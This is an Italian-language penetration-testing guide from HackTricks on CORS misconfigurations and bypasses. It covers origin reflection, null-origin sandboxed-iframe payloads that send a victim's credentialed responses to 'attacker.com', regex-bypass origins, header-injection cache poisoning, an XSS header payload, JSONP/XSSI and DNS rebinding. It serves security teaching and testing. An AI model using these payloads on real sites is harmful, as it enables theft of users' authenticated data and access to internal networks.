CORS - Misconfigurations & Bypass

Tip

Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Sfoglia il catalogo completo di HackTricks Training per i percorsi di assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Supporta HackTricks

Cos’è CORS?

Cross-Origin Resource Sharing (CORS) standard consente ai server di definire chi può accedere alle loro risorse e quali metodi HTTP request sono permessi da sorgenti esterne.

Una policy same-origin richiede che un server che richiede una risorsa e il server che ospita la risorsa condividano lo stesso protocollo (ad es. http://), nome di dominio (ad es. internal-web.com) e port (ad es. 80). In base a questa policy, solo le pagine web dello stesso dominio e port possono accedere alle risorse.

L’applicazione della same-origin policy nel contesto di http://normal-website.com/example/example.html è illustrata come segue:

URL accessedAccess permitted?
http://normal-website.com/example/Yes: Identical scheme, domain, and port
http://normal-website.com/example2/Yes: Identical scheme, domain, and port
https://normal-website.com/example/No: Different scheme and port
http://en.normal-website.com/example/No: Different domain
http://www.normal-website.com/example/No: Different domain
http://normal-website.com:8080/example/No: Different port*

*Internet Explorer disregards the port number in enforcing the same-origin policy, thus allowing this access.

Access-Control-Allow-Origin Header

Questo header può consentire multiple origins, un valore null, oppure un wildcard *. Tuttavia, nessun browser supporta multiple origins, e l’uso del wildcard * è soggetto a limitazioni. (Il wildcard deve essere usato da solo, e non è consentito usarlo insieme a Access-Control-Allow-Credentials: true.)

Questo header viene emesso da un server in risposta a una richiesta di risorsa cross-domain avviata da un website, con il browser che aggiunge automaticamente un header Origin.

Access-Control-Allow-Credentials Header

Per default, le cross-origin requests vengono inviate senza credentials come cookie o l’Authorization header. Tuttavia, un server cross-domain può consentire la lettura della risposta quando vengono inviati credentials impostando l’header Access-Control-Allow-Credentials su true.

Se impostato su true, il browser trasmetterà credentials (cookie, authorization headers o TLS client certificates).

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText)
}
}
xhr.open("GET", "http://example.com/", true)
xhr.withCredentials = true
xhr.send(null)

fetch(url, {
credentials: "include",
})

const xhr = new XMLHttpRequest()
xhr.open("POST", "https://bar.other/resources/post-here/")
xhr.setRequestHeader("X-PINGOTHER", "pingpong")
xhr.setRequestHeader("Content-Type", "application/xml")
xhr.onreadystatechange = handler
xhr.send("<person><name>Arun</name></person>")

CSRF Pre-flight request

Understanding Pre-flight Requests in Cross-Domain Communication

Quando si avvia una richiesta cross-domain in condizioni specifiche, come l’uso di un non-standard HTTP method (qualsiasi cosa diversa da HEAD, GET, POST), l’introduzione di nuovi headers, o l’impiego di un valore speciale dell’header Content-Type, può essere necessaria una pre-flight request. Questa richiesta preliminare, che sfrutta il metodo OPTIONS, serve a informare il server delle intenzioni della futura richiesta cross-origin, inclusi gli HTTP methods e gli headers che intende usare.

Il protocollo Cross-Origin Resource Sharing (CORS) impone questo controllo pre-flight per determinare la fattibilità dell’operazione cross-origin richiesta verificando i methods consentiti, gli headers e l’affidabilità dell’origin. Per una comprensione dettagliata delle condizioni che bypassano la necessità di una pre-flight request, consulta la guida completa fornita da Mozilla Developer Network (MDN).

È fondamentale notare che l’assenza di una pre-flight request non elimina il requisito che la response debba contenere authorization headers. Senza questi headers, il browser non è in grado di processare la response della richiesta cross-origin.

Considera la seguente illustrazione di una pre-flight request volta a impiegare il metodo PUT insieme a un header custom chiamato Special-Request-Header:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

In risposta, il server potrebbe restituire header che indicano i metodi accettati, l’origin consentito e altri dettagli della policy CORS, come mostrato di seguito:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: Questa intestazione specifica quali intestazioni possono essere usate durante la richiesta effettiva. Viene impostata dal server per indicare le intestazioni consentite nelle richieste dal client.
  • Access-Control-Expose-Headers: Tramite questa intestazione, il server informa il client su quali intestazioni possono essere esposte come parte della response oltre alle simple response headers.
  • Access-Control-Max-Age: Questa intestazione indica per quanto tempo i risultati di una pre-flight request possono essere memorizzati nella cache. Il server imposta il tempo massimo, in secondi, per cui le informazioni restituite da una pre-flight request possono essere riutilizzate.
  • Access-Control-Request-Headers: Usata nelle pre-flight requests, questa intestazione viene impostata dal client per informare il server su quali HTTP headers il client vuole usare nella richiesta effettiva.
  • Access-Control-Request-Method: Questa intestazione, anch’essa usata nelle pre-flight requests, viene impostata dal client per indicare quale HTTP method sarà usato nella richiesta effettiva.
  • Origin: Questa intestazione viene impostata automaticamente dal browser e indica l’origine della richiesta cross-origin. Viene usata dal server per valutare se la richiesta in arrivo debba essere consentita o negata in base alla policy CORS.

Nota che di solito (a seconda del content-type e delle intestazioni impostate) in una GET/POST request non viene inviata alcuna pre-flight request (la richiesta viene inviata direttamente), ma se vuoi accedere alle intestazioni/body della response, deve contenere un’intestazione Access-Control-Allow-Origin che lo consenta.
Pertanto, CORS non protegge contro CSRF (ma può essere utile).

Local Network Requests Pre-flight request

I browser moderni e l’attuale draft Private Network Access (PNA) usano le intestazioni Access-Control-Request-Private-Network: true nella preflight e Access-Control-Allow-Private-Network: true nella response. Articoli più vecchi e PoCs possono ancora fare riferimento a nomi di intestazioni Local-Network, ma per i test attuali dovresti aspettarti le varianti Private-Network.

Una response valida che consente la local network request deve includere anche Access-Control-Allow-Private-Network: true:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Private-Network: true
Content-Length: 0
...

E la richiesta preflight avrà un aspetto simile a:

OPTIONS / HTTP/1.1
Host: router.local
Origin: https://example.com
Access-Control-Request-Method: GET
Access-Control-Request-Private-Network: true

Note

Il rollout di PNA di Chrome è cambiato più volte durante il 2024. Al 9 ottobre 2024, Chrome documentava che i preflight di PNA erano in pausa a causa di problemi di compatibilità, mentre le restrizioni secure-context rimanevano in vigore. Quindi, continua a testare sia il flusso di preflight conforme alle spec sia il vecchio comportamento “funziona in practice perché l’enforcement è incompleto”.

Warning

Nota che l’IP linux 0.0.0.0 funziona per bypass questi requisiti e accedere a localhost, poiché quell’indirizzo IP non è considerato “local”.

Chrome ha anche documentato che 0.0.0.0/8 è ora trattato come parte di Private Network Access, quindi questo trucco dipende da browser/versione e deve essere ritestato invece di essere dato per scontato.

È anche possibile bypass i requisiti di Local Network se usi l’indirizzo IP pubblico di un endpoint locale (come l’IP pubblico del router). Perché in diverse occasioni, anche se si accede tramite IP pubblico, se l’accesso è dalla local network, verrà concesso.

Wildcards

Nota che anche se la seguente configurazione potrebbe sembrare molto permissiva:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Questo non è consentito dai browser e quindi le credentials non verranno inviate con la request consentita da questo.

Misconfigurazioni sfruttabili

È stato osservato che l’impostazione di Access-Control-Allow-Credentials su true è un prerequisito per la maggior parte dei real attacks. Questa impostazione consente al browser di inviare credentials e leggere la response, aumentando l’efficacia dell’attacco. Senza questo, il vantaggio di far sì che un browser effettui una request invece di farlo da soli diminuisce, poiché sfruttare i cookie di un utente diventa impraticabile.

Eccezione: Sfruttare la Network Location come Authentication

Esiste un’eccezione in cui la network location della vittima agisce come una forma di authentication. Questo consente di usare il browser della vittima come proxy, aggirando l’authentication basata su IP per accedere alle applicazioni intranet. Questo metodo condivide somiglianze nell’impatto con DNS rebinding ma è più semplice da sfruttare.

Reflection di Origin in Access-Control-Allow-Origin

Lo scenario reale in cui il valore dell’header Origin viene riflesso in Access-Control-Allow-Origin è teoricamente improbabile a causa delle restrizioni sul combinare questi header. Tuttavia, gli sviluppatori che cercano di abilitare CORS per più URL possono generare dinamicamente l’header Access-Control-Allow-Origin copiando il valore dell’header Origin. Questo approccio può introdurre vulnerabilità, in particolare quando un attacker usa un dominio con un nome progettato per sembrare legittimo, ingannando così la logica di validazione.

<script>
var req = new XMLHttpRequest()
req.onload = reqListener
req.open("get", "https://example.com/details", true)
req.withCredentials = true
req.send()
function reqListener() {
location = "/log?key=" + this.responseText
}
</script>

Sfruttare l’null Origin

L’null origin, specificato per situazioni come redirect o file HTML locali, occupa una posizione unica. Alcune applicazioni inseriscono in whitelist questo origin per facilitare lo sviluppo locale, consentendo involontariamente a qualsiasi sito web di imitare un null origin tramite un iframe sandboxed, aggirando così le restrizioni CORS.

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Tecniche di Bypass delle Regular Expression

Quando si incontra una whitelist di domini, è fondamentale testare opportunità di bypass, come aggiungere il dominio dell’attaccante a un dominio presente nella whitelist o sfruttare vulnerabilità di subdomain takeover. Inoltre, le regular expressions usate per la validazione dei domini possono trascurare sfumature nelle convenzioni di naming dei domini, offrendo ulteriori opportunità di bypass.

Bypass Avanzati delle Regular Expression

I pattern Regex in genere si concentrano sui caratteri alfanumerici, punto (.) e trattino (-), trascurando altre possibilità. Per esempio, un nome di dominio creato per includere caratteri interpretati in modo diverso dai browser e dai pattern Regex può bypassare i controlli di sicurezza. La gestione dei caratteri underscore nei subdomain da parte di Safari, Chrome e Firefox illustra come tali discrepanze possano essere sfruttate per aggirare la logica di validazione dei domini.

Per ulteriori informazioni e impostazioni di questo bypass check: https://www.corben.io/advanced-cors-techniques/ e https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

Da XSS dentro un subdomain

Gli sviluppatori spesso implementano meccanismi difensivi per proteggersi dallo sfruttamento di CORS tramite la whitelist dei domini autorizzati a richiedere informazioni. Nonostante queste precauzioni, la sicurezza del sistema non è infallibile. La presenza anche di un solo subdomain vulnerabile all’interno dei domini presenti nella whitelist può aprire la porta allo sfruttamento di CORS attraverso altre vulnerabilità, come XSS (Cross-Site Scripting).

Per illustrare, considera lo scenario in cui un dominio, requester.com, è nella whitelist per accedere alle risorse di un altro dominio, provider.com. La configurazione lato server potrebbe assomigliare a qualcosa del genere:

if ($_SERVER["HTTP_HOST"] == "*.requester.com") {
// Access data
} else {
// Unauthorized access
}

In questa configurazione, tutti i sottodomini di requester.com sono consentiti all’accesso. Tuttavia, se un sottodominio, ad esempio sub.requester.com, è compromesso da una vulnerabilità XSS, un attacker può sfruttare questa debolezza. Per esempio, un attacker con accesso a sub.requester.com potrebbe sfruttare la vulnerabilità XSS per bypassare le policy CORS e accedere in modo malevolo alle risorse su provider.com.

Special Characters

PortSwigger’s URL validation bypass cheat sheet ha rilevato che alcuni browser supportano caratteri strani all’interno dei nomi di dominio.

Chrome e Firefox supportano gli underscore _ che possono bypassare regex implementate per validare l’header Origin:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com

HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true

Safari è ancora più permissivo nell’accettare caratteri speciali nel nome di dominio:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com

HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true

Aggiornamenti recenti al cheat sheet di PortSwigger hanno aggiunto più payload di domain splitting orientati a Safari che vale la pena fuzzare quando il target convalida l’header Origin usando regex o parser URL fatti in casa:

https://example.com.{.attacker.com/
https://example.com.}.attacker.com/
https://example.com.`.attacker.com/

Questi sono utili quando il backend controlla solo se l’origin fornito inizia con o contiene l’hostname trusted, mentre il browser tratta comunque il suffisso controllato dall’attaccante come il boundary effettivo dell’origin.

Ricorda anche che il modern origin fuzzing non dovrebbe fermarsi ai suffissi degli hostname. L’attuale PortSwigger cheat sheet include famiglie di payload per:

  • Domain allow-list bypasses: domini controllati dall’attaccante che soddisfano comunque controlli ingenui di prefix/suffix/substring.
  • Fake-relative absolute URLs: URL assoluti validi per il browser che il codice dell’applicazione potrebbe interpretare come relativi.
  • Loopback/IP normalizations: formati alternativi di IPv4/IPv6 utili quando la logica CORS prova a bloccare localhost, 127.0.0.1 o endpoint cloud metadata tramite confronto di stringhe.

Other funny URL tricks

URL Format Bypass

Server-side cache poisoning

Da questa ricerca

È possibile che sfruttando il server-side cache poisoning tramite HTTP header injection, possa essere indotta una vulnerabilità di stored Cross-Site Scripting (XSS). Questo scenario si verifica quando un’applicazione non riesce a sanificare l’header Origin per caratteri illegali, creando una vulnerabilità particolarmente per gli utenti di Internet Explorer ed Edge. Questi browser trattano (0x0d) come un legittimo terminatore di HTTP header, portando a vulnerabilità di HTTP header injection.

Considera la seguente richiesta in cui l’header Origin viene manipolato:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer e Edge interpretano la risposta come:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

Sebbene sfruttare direttamente questa vulnerabilità facendo inviare a un web browser un header malformato non sia fattibile, una request costruita ad hoc può essere generata manualmente usando strumenti come Burp Suite. Questo metodo potrebbe portare un server-side cache a salvare la response e a servirla inavvertitamente ad altri. Il payload creato mira a modificare il character set della pagina in UTF-7, un character encoding spesso associato a vulnerabilità XSS grazie alla sua capacità di codificare caratteri in un modo che può essere eseguito come script in determinati contesti.

Per ulteriori informazioni sulle stored XSS vulnerabilities, vedi PortSwigger.

Note: Lo sfruttamento delle HTTP header injection vulnerabilities, in particolare tramite server-side cache poisoning, sottolinea l’importanza critica di validare e sanificare tutti gli input forniti dall’utente, inclusi gli HTTP headers. Usa sempre un robusto security model che includa la input validation per prevenire tali vulnerabilità.

Client-Side cache poisoning

Da questa ricerca

In questo scenario, si osserva un’istanza di una web page che riflette il contenuto di un custom HTTP header senza una corretta encoding. In particolare, la web page riflette i contenuti inclusi in un header X-User-id, che potrebbero includere JavaScript malevolo, come dimostrato nell’esempio in cui l’header contiene un SVG image tag progettato per eseguire codice JavaScript al caricamento.

Le politiche di Cross-Origin Resource Sharing (CORS) consentono l’invio di custom headers. Tuttavia, senza che la response venga renderizzata direttamente dal browser a causa delle restrizioni CORS, l’utilità di una tale injection potrebbe sembrare limitata. Il punto critico emerge quando si considera il comportamento della cache del browser. Se l’header Vary: Origin non è specificato, diventa possibile per la response malevola essere memorizzata nella cache del browser. Successivamente, questa response in cache potrebbe essere renderizzata direttamente quando si naviga all’URL, aggirando la necessità di un rendering diretto alla richiesta iniziale. Questo meccanismo aumenta l’affidabilità dell’attacco sfruttando il client-side caching.

Per illustrare questo attacco, viene fornito un esempio in JavaScript, progettato per essere eseguito nell’ambiente di una web page, ad esempio tramite JSFiddle. Questo script esegue una semplice azione: invia una request a un URL specificato con un custom header contenente il JavaScript malevolo. Al completamento riuscito della request, tenta di navigare verso l’URL target, potenzialmente attivando l’esecuzione dello script iniettato se la response è stata memorizzata nella cache senza una gestione corretta dell’header Vary: Origin.

Ecco una panoramica riassuntiva del JavaScript usato per eseguire questo attacco:

<script>
function gotcha() {
location = url
}
var req = new XMLHttpRequest()
url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha
req.open("get", url, true)
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send()
</script>

Bypass

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, noto anche come Cross-Site Script Inclusion, è un tipo di vulnerabilità che sfrutta il fatto che la Same Origin Policy (SOP) non si applica quando si includono risorse usando il tag script. Questo perché gli script devono poter essere inclusi da domini diversi. Questa vulnerabilità permette a un attaccante di accedere e leggere qualsiasi contenuto incluso usando il tag script.

Questa vulnerabilità diventa particolarmente significativa quando si tratta di JavaScript dinamico o JSONP (JSON with Padding), soprattutto quando per l’autenticazione vengono usate informazioni di ambient-authority come i cookie. Quando si richiede una risorsa da un host diverso, i cookie vengono inclusi, rendendoli accessibili all’attaccante.

Per comprendere meglio e mitigare questa vulnerabilità, puoi usare il plugin BurpSuite disponibile su https://github.com/kapytein/jsonp. Questo plugin può aiutare a identificare e gestire potenziali vulnerabilità XSSI nelle tue web applications.

Leggi di più sui diversi tipi di XSSI e su come sfruttarli qui.

Prova ad aggiungere un callback parameter nella richiesta. Forse la pagina era preparata per inviare i dati come JSONP. In tal caso la pagina restituirà i dati con Content-Type: application/javascript, che bypasserà la policy CORS.

Easy (useless?) bypass

Un modo per bypassare la restrizione Access-Control-Allow-Origin è chiedere a una web application di effettuare una richiesta per tuo conto e restituire la response. Tuttavia, in questo scenario, le credenziali della vittima finale non verranno inviate, poiché la richiesta è fatta a un dominio diverso.

  1. CORS-escape: Questo tool fornisce un proxy che inoltra la tua richiesta insieme ai relativi headers, mentre falsifica l’header Origin per farlo coincidere con il dominio richiesto. In questo modo bypassa efficacemente la policy CORS. Ecco un esempio di utilizzo con XMLHttpRequest:
  2. simple-cors-escape: Questo tool offre un approccio alternativo al proxying delle richieste. Invece di inoltrare la tua richiesta così com’è, il server effettua una propria richiesta con i parametri specificati.

Iframe + Popup Bypass

Puoi bypass CORS checks come e.origin === window.origin creando un iframe e aprendo da lì una nuova finestra. Maggiori informazioni nella seguente pagina:

Iframes in XSS, CSP and SOP

DNS Rebinding via TTL

DNS rebinding via TTL è una tecnica usata per bypassare alcune misure di sicurezza manipolando i record DNS. Ecco come funziona:

  1. L’attaccante crea una pagina web e fa sì che la vittima la apra.
  2. L’attaccante poi cambia il DNS (IP) del proprio dominio per puntare alla pagina web della vittima.
  3. Il browser della vittima memorizza nella cache la response DNS, che può avere un valore TTL (Time to Live) che indica per quanto tempo il record DNS deve essere considerato valido.
  4. Quando il TTL scade, il browser della vittima effettua una nuova richiesta DNS, consentendo all’attaccante di eseguire codice JavaScript sulla pagina della vittima.
  5. Mantenendo il controllo sull’IP della vittima, l’attaccante può raccogliere informazioni dalla vittima senza inviare cookie al server della vittima.

È importante notare che i browser hanno meccanismi di caching che possono impedire un abuso immediato di questa tecnica, anche con valori TTL bassi.

DNS rebinding può essere utile per bypassare controlli espliciti sugli IP eseguiti dalla vittima o per scenari in cui un utente o un bot rimane sulla stessa pagina per un periodo prolungato, permettendo alla cache di scadere.

Se ti serve un modo rapido per abusare di DNS rebinding, puoi usare servizi come https://lock.cmpxchg8b.com/rebinder.html.

Per eseguire il tuo DNS rebinding server, puoi usare tool come DNSrebinder (https://github.com/mogwailabs/DNSrebinder). Questo comporta esporre la tua porta locale 53/udp, creare un record A che punti ad essa (ad es. ns.example.com), e creare un record NS che punti al sottodominio A creato in precedenza (ad es. ns.example.com). Qualsiasi sottodominio del sottodominio ns.example.com verrà poi risolto dal tuo host.

Puoi anche esplorare un server pubblico attivo su http://rebind.it/singularity.html per ulteriore comprensione e sperimentazione.

DNS Rebinding via DNS Cache Flooding

DNS rebinding via DNS cache flooding è un’altra tecnica usata per bypassare il meccanismo di caching dei browser e forzare una seconda richiesta DNS. Ecco come funziona:

  1. Inizialmente, quando la vittima effettua una richiesta DNS, viene risolta con l’indirizzo IP dell’attaccante.
  2. Per bypassare la difesa di caching, l’attaccante sfrutta un service worker. Il service worker inonda la DNS cache, eliminando di fatto il nome del server dell’attaccante memorizzato nella cache.
  3. Quando il browser della vittima effettua una seconda richiesta DNS, viene ora risolta con l’indirizzo IP 127.0.0.1, che in genere si riferisce a localhost.

Inondando la DNS cache con il service worker, l’attaccante può manipolare il processo di risoluzione DNS e forzare il browser della vittima a effettuare una seconda richiesta, questa volta risolta verso l’indirizzo IP desiderato dall’attaccante.

DNS Rebinding via Cache

Un altro modo per bypassare la difesa di caching è utilizzare più indirizzi IP per lo stesso sottodominio nel provider DNS. Ecco come funziona:

  1. L’attaccante configura due record A (o un singolo record A con due IP) per lo stesso sottodominio nel provider DNS.
  2. Quando un browser controlla questi record, riceve entrambi gli indirizzi IP.
  3. Se il browser decide di usare per primo l’indirizzo IP dell’attaccante, l’attaccante può servire un payload che esegue richieste HTTP allo stesso dominio.
  4. Tuttavia, una volta che l’attaccante ottiene l’indirizzo IP della vittima, smette di rispondere al browser della vittima.
  5. Il browser della vittima, rendendosi conto che il dominio non risponde, passa a usare il secondo indirizzo IP fornito.
  6. Accedendo al secondo indirizzo IP, il browser bypassa la Same Origin Policy (SOP), consentendo all’attaccante di abusarne e raccogliere ed esfiltrare informazioni.

Questa tecnica sfrutta il comportamento dei browser quando vengono forniti più indirizzi IP per un dominio. Controllando strategicamente le response e manipolando la scelta dell’indirizzo IP da parte del browser, un attaccante può sfruttare la SOP e accedere alle informazioni della vittima.

Warning

Nota che per accedere a localhost dovresti provare a rebind 127.0.0.1 in Windows e 0.0.0.0 in linux.
Provider come godaddy o cloudflare non mi hanno permesso di usare l’ip 0.0.0.0, ma AWS route53 mi ha consentito di creare un record A con 2 IP, uno dei quali era “0.0.0.0”

Per ulteriori informazioni puoi consultare https://unit42.paloaltonetworks.com/dns-rebinding/

Other Common Bypasses

  • Se gli internal IPs non sono consentiti, potrebbero aver dimenticato di vietare 0.0.0.0 (funziona su Linux e Mac)
  • Se gli internal IPs non sono consentiti, rispondi con un CNAME verso localhost (funziona su Linux e Ma
  • Se gli internal IPs non sono consentiti come response DNS, puoi rispondere con CNAMEs verso servizi interni come www.corporate.internal.

DNS Rebidding Weaponized

Puoi trovare maggiori informazioni sulle tecniche di bypass precedenti e su come usare il seguente tool nel talk Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference.

Singularity of Origin è un tool per eseguire attacchi di DNS rebinding. Include i componenti necessari per rebindare l’indirizzo IP del nome DNS del server d’attacco all’indirizzo IP della macchina target e per servire payload d’attacco per sfruttare software vulnerabile sulla macchina target.

DNS Rebinding over DNS-over-HTTPS (DoH)

DoH semplicemente incapsula il classico formato wire DNS RFC1035 dentro HTTPS (di solito una POST con Content-Type: application/dns-message). Il resolver risponde comunque con gli stessi resource records, quindi le tecniche che rompono la SOP continuano a funzionare anche quando i browser risolvono l’hostname controllato dall’attaccante via TLS.

Key observations

  • Chrome (Windows/macOS) e Firefox (Linux) eseguono correttamente il rebinding quando configurati per resolver DoH Cloudflare, Google o OpenDNS. La cifratura del trasporto non ritarda né blocca il flusso d’attacco per le strategie first-then-second, multiple-answers o DNS cache flooding.
  • I resolver pubblici vedono comunque ogni query, ma raramente applicano il mapping host-to-IP che un browser deve rispettare. Una volta che il server autoritativo restituisce la sequenza di rebinding, il browser mantiene l’origin tuple originale mentre si connette al nuovo IP.

Singularity strategies and timing over DoH

  • First-then-second resta l’opzione più affidabile: la prima lookup restituisce l’IP dell’attaccante che serve il payload, ogni lookup successiva restituisce l’IP interno/localhost. Con le tipiche cache DNS del browser questo fa cambiare traffico in ~40–60 secondi, anche quando il recursive resolver è raggiungibile solo via HTTPS.
  • Multiple answers (fast rebinding) raggiunge comunque localhost in <3 secondi rispondendo con due record A (IP dell’attaccante + 0.0.0.0 su Linux/macOS o 127.0.0.1 su Windows) e bloccando programmaticamente il primo IP (ad esempio, iptables -I OUTPUT -d <attacker_ip> -j DROP) poco dopo il caricamento della pagina. L’implementazione DoH di Firefox può emettere query DNS ripetute, quindi la correzione di Singularity consiste nel pianificare la regola firewall in relazione al timestamp della prima query invece di aggiornare il timer a ogni query.

Beating “rebind protection” in DoH providers

  • Alcuni provider (ad es. NextDNS) sostituiscono le risposte private/loopback con 0.0.0.0, ma Linux e macOS instradano felicemente quella destinazione verso servizi locali. Restituire intenzionalmente 0.0.0.0 come secondo record quindi ancora sposta l’origin verso localhost.
  • Filtrare solo la response diretta A/AAAA è inefficace: restituire un CNAME verso un hostname accessibile solo internamente fa sì che il resolver DoH pubblico inoltri l’alias mentre browser come Firefox ricadono sul system DNS per la zona interna, completando la risoluzione verso un IP privato che viene comunque trattato come l’origin dell’attaccante.

Browser-specific DoH behavior

  • Firefox DoH opera in modalità fallback: qualsiasi errore DoH (incluso un target CNAME non risolto) attiva una lookup in plaintext tramite il resolver OS, che in genere è un enterprise DNS server che conosce lo spazio dei nomi interno. Questo comportamento rende affidabile il bypass CNAME all’interno delle corporate network.
  • Chrome DoH si attiva solo quando il DNS del sistema operativo punta a un resolver ricorsivo abilitato per DoH e presente nella whitelist (Cloudflare, Google, Quad9, ecc.) e non fornisce la stessa catena di fallback. Gli hostname interni che esistono solo sul DNS aziendale quindi non riescono a essere risolti, ma il rebinding verso localhost o qualsiasi indirizzo routabile riesce comunque perché l’attaccante controlla l’intero set di response.

Testing and monitoring DoH flows

  • Firefox: Settings ➜ Network Settings ➜ Enable DNS over HTTPS e fornisci l’endpoint DoH (Cloudflare e NextDNS sono integrati). Chrome/Chromium: abilita chrome://flags/#dns-over-https e configura i server DNS del sistema operativo su uno dei resolver supportati da Chrome (ad es. 1.1.1.1/1.0.0.1).
  • Puoi interrogare direttamente le API DoH pubbliche, ad es. curl -H 'accept: application/dns-json' 'https://cloudflare-dns.com/dns-query?name=example.com&type=A' | jq per confermare i record esatti che i browser memorizzeranno nella cache.
  • Intercettare DoH in Burp/ZAP funziona ancora perché è solo HTTPS (payload DNS binario nel body). Per l’ispezione a livello di packet, esporta le chiavi TLS (export SSLKEYLOGFILE=~/SSLKEYLOGFILE.txt) prima di avviare il browser e lascia che Wireshark decifri le sessioni DoH con il filtro di visualizzazione dns per vedere quando il browser rimane su DoH o ricade sul DNS classico.

Real Protection against DNS Rebinding

  • Usa TLS nei servizi interni
  • Richiedi autenticazione per accedere ai dati
  • Valida l’header Host
  • https://wicg.github.io/private-network-access/: Proposta per inviare sempre una pre-flight request quando i server pubblici vogliono accedere a server interni

Tools

Fuzz possibili misconfigurations nelle policy CORS

References

Tip

Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Sfoglia il catalogo completo di HackTricks Training per i percorsi di assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Supporta HackTricks